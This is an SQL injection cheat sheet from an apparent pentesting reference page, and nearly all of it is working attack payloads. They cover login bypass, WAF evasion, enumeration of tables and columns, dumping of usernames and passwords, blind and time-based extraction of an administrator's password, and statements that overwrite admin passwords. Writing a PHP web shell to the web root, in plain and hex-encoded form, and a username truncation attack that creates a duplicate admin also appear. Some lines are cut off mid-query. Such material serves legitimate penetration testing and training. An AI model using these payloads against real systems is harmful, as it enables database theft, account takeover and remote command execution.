SQL Injection Cheat Sheet

Last modified: 2023-09-13

Database Reverse Shell SQL Injection Web

SQL injection (SQLi) is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. This page is about the SQL injection cheat sheet.

Comment Syntax

Comment syntax is depending on what SQL is used in target website.

MySQL

-- -
--+
#

MSSQL, Oracle, PostgreSQL, SQLite

--

Basic Injection

First off, check if we can inject SQL commands into forms or URL params in the target website.

' OR 1=1--
' OR 1=1-- -
' OR 1=1#

' OR '1'='1'--
' OR '1'='1'-- -
' OR '1'='1'#

' OR '1'='1--
' OR '1'='1-- -
' OR '1'='1#

" OR 1=1--
" OR 1=1-- -
" OR 1=1#

') OR 1=1--
') OR 1=1-- -
') OR 1=1#

'; OR 1=1--
'; OR 1=1-- -
'; OR 1=1#

admin or 1=1--
admin or 1=1-- -
admin or 1=1#

WAF Bypass

Reference: (https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF)[https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF]

If website filters to prevent our payloads, we need to bypass the filter.

HTTP Parameter Pollution

We may inject by splitting the parameter values on the same keys.

/?id='+select+1&id=2,3+from+users+where+id=1-- -

New Line (’%0A’)

By prepending the new line (URL encoded to ‘%0A’), subsequent syntax may circumvent the filtering.

/?id=%0A' OR 1=1-- -

Version Detection

MSSQL

' UNION SELECT @@version--
' UNION SELECT NULL,@@version--

MySQL

' UNION SELECT @@version-- -
' UNION SELECT @@version#

' UNION SELECT NULL,@@version-- -
' UNION SELECT NULL,@@version#

Oracle

' UNION SELECT 'a' FROM dual--
' UNION SELECT 'a','b' FROM dual--
' UNION SELECT * FROM v$version--
' UNION SELECT BANNER,NULL FROM v$version--

PostgreSQL

' UNION SELECT version()--
' UNION SELECT NULL,version()--

SQLite

' UNION SELECT sqlite_version()--
' UNION SELECT sqlite_version(),NULL--

Detect Number of Columns

The following commands detect the number of the columns in the database.

' UNION SELECT NULL--
' UNION SELECT NULL-- -

' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL-- -

' UNION SELECT NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- -

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT 'a',NULL,NULL-- -

' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,'a',NULL-- -

' UNION SELECT NULL,NULL,'a'--
' UNION SELECT NULL,NULL,'a'-- -

UNION ALL

We can combine the result of the query into the one column by using “UNION ALL” syntax.

' UNION ALL SELECT "' UNION SELECT flag,NULL,NULL from flags-- -",NULL,NULL from users-- -

List Table Names

Get the table name in which you want to get the information.

MSSQL

' UNION SELECT table_name,NULL FROM information_schema.tables--

MySQL

' UNION SELECT table_name,NULL FROM information_schema.tables-- -
' UNION SELECT table_name,NULL FROM information_schema.tables#

<!-- group_concat(): Dump all tables simultaneously -->
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables-- -
' UNION SELECT group_concat(table_name),NULL FROM information_schema.tables#

PostgreSQL

' UNION SELECT table_name,NULL FROM information_schema.tables--

Oracle

' UNION SELECT table_name,NULL FROM all_tables--

SQLite

' UNION SELECT tbl_name FROM sqlite_master--
' UNION SELECT tbl_name,NULL FROM sqlite_master--

List Column Names

Get column names from the table name which we got.

MSSQL

' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--

MySQL

' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'#

PostgreSQL

' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='table_name'--

Oracle

' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='table_name'--

SQLite

' UNION SELECT column

List Information in the Table

Get information in the table.
For instance, suppose we want to get the username and password from the table named 'users'.

' UNION SELECT username,password FROM users--
' UNION SELECT username,password FROM users-- -

' UNION SELECT username || '~' || password FROM users--
' UNION SELECT username || '~' || password FROM users-- -

' UNION SELECT NULL,username || '~' || password FROM users--
' UNION SELECT NULL,username || '~' || password FROM users-- -

' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password='password1'-- -

' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'--
' UNION SELECT username,password FROM users WHERE username='admin' OR password='password1'-- -

' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'--
' UNION SELECT username,password FROM users WHERE username='admin' AND password LIKE 'pas%'-- -

BINARY: Sensitive to upper case and lower case.

' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'--
' UNION SELECT username,password FROM users WHERE username='admin' AND BINARY password='PassWord'-- -

Dumping Table

' UNION SELECT table_name FROM table_name--
' UNION SELECT table_name,NULL FROM table_name--

Fetch All Entities

' UNION SELECT * FROM users-- -
'; SELECT * FROM users-- -

Modify Data

Insert Arbitrary Data

' INSERT INTO users (username, password) VALUES ('admin', 'pass')-- -

Update Arbitrary Data

' UPDATE users SET password='password123' WHERE username='admin'-- -
' UPDATE users SET password='password123' WHERE id=1-- -

Upsert

This is a combination of UPDATE and INSERT operation. If a particular row already exists, it will be updated with new values. Here are examples that update password for the existing admin user.

<!-- MySQL -->
INSERT INTO users (username, password) VALUES('admin', '') ON DUPLICATE KEY UPDATE password=''-- -

<!-- PostgreSQL, SQLite -->
INSERT INTO users (username, password) VALUES ('admin', '') ON CONFLICT (username) DO UPDATE SET password='password'--

Error-based SQLi

Reference: https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based

We might be able to gather information of the database by leading the error message. We can construct SQLi while checking error messages.
Here are MySQL injection examples.

' AND 1=CAST((SELECT 1) AS int)-- -
' AND 1=CAST((SELECT password FROM users) AS int)-- -
<!-- Limit only one row if required -->
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)

In the example above, we may see the password revealed in the error message.

1. Check if the SQL Injection Works

' AND '1'='1
' AND '1'='2
' AND (SELECT 'a' FROM users LIMIT 1)='a

2. Check if Content Value Exists

For example, check if username 'administrator' exists in 'users'

' AND (SELECT 'a' FROM users WHERE username='administrator')='a

If so, determine the password length

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
...
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=8)='a

Brute force password's character

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='$a$
' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='$a$
...
' AND (SELECT SUBSTRING(password,8,1) FROM users WHERE username='administrator')='$a$

1. First Check

MySQL
```
' AND sleep(5)-- -
```

PostgreSQL

'||pg_sleep(10)--
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
'; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--

2. Check if Content Value Exists

'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

If so, determine the password length

'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>2) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
...
'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)=8) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

Brute force password character

'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,2,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
...
'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,8,1)='$a$') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

Conditional Error

1. First Check

'
''
'||(SELECT '')||'
'||(SELECT '' FROM dual)||'
'||(SELECT '' FROM fake_table)||'
'||(SELECT '' FROM users WHERE ROWNUM = 1||'
'|| (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
'|| (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

2. Check if Content Value Exists

'|| (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

If so, determine the password length

''||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
''||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
''||(SELECT CASE WHEN LENGTH(password)=8 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Brute force password character

'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
'||(SELECT CASE WHEN SUBSTR(password,8,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Writing Files

We can write arbitary code to a file as below.

' SELECT '<?php echo system("id");?>' INTO OUTFILE '/var/www/html/shell.php'-- -

HEX Encoded Payloads

' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED by 0x3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E-- -
' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED by 0x3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E#

'0x3C3F...' is a hex encoded text meaning "<?php system($_GET["cmd"]) ?>". After injectin, we can access to http://10.0.0.1/shell.php?cmd=whoami.

XML Filter Bypass

Reference: https://portswigger.net/web-security/sql-injection

<storeId>
    <!-- Convert 'S' to HTML entity -->
    1 &#x53;ELECT * FROM information_schema.tables
</storeId>

If you use Burp Suite, it’s recommended to use the Hackvertor extention to obfuscate payloads.
For example, in Repeater, highlight the string which you want to encode. Then right-click and select Extensions → Hackvertor → Encode → hex_entities.
After that, our payload is as below.

<storeId>
    <@hex_entities>
        1 UNION SELECT * FROM information_schema.tables
    <@/hex_entities>
</storeId>

XPATH Injection

MySQL

' AND UPDATEXML(NULL,CONCAT(0x3a,(SELECT SUBSTRING(password,1,16) FROM users)),null)-- -

If the error result appears such like the following, we retrieved the piece of the password hash.

XPATH syntax error: ':3ac6b24dc611a692'

So we can find the remaining of the password hash by injecting below command.

' AND UPDATEXML(NULL,CONCAT(0x3a,(SELECT SUBSTRING(password,17,32) FROM users)),null)-- -

Truncation Attack

We can add another user which is the same name as the existing user by registering the same name user with enough “spaces” to truncate a username.
First off, check the table schema if can.

CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);

Now send POST request with a payload to create a new admin.

# POST request
POST /create-user HTTP/1.1

# Create another new "admin" with more than 64 characters. Btw, "+" means the spaces.
username=admin+++++++++++++++++++++++++++++++++++++++++++++++++++++++++random&password=password

Then check if we can login with a new admin.

username=admin&password=password

Fetch the admin's information with the original password.

SELECT * FROM users WHERE username='admin';

# It should return the values are the real admin's information.
username = admin
password = <REAL_ADMIN_PASSWORD>

References

https://portswigger.net/web-security/sql-injection/blind

Exploits related to Web

Method

Security Risk

Cookie

CMS

Framework

Template Engine

API

Cloud

Microsoft

Tool

Others

SQL Injection Cheat Sheet

References

Tools by HDKS